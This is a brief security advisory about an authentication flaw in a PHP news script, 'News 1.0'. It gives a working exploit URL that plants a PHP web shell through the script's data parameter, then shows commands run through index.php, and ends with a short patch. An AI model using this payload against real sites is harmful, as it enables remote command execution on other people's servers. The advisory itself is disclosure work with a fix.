Vulnerability in News/Новости

[Over_G <overg () mail ru>]

Product: News
Version: 1.0
OffSite: http://xonix.ru
Problem: Add news
--------------------------------------

You may add news without autorization.

http://[target]/admin/script.php?data=ENTER_THIS_YOUR_NEWS.

example:

http://[target]/admin/script.php?data=script.php?data=<? system($cmd) ?>
then open http://[target]/index.php?cmd=id;uname -a; 
etc...


Patch.

Add in index.php :
<input type=hidden name=pass value=<?=$pass?>> Before </form> 

And add in script.php after include("config.php");
if (!isset($pass)) exit;
$q=strcmp($pass,$password);



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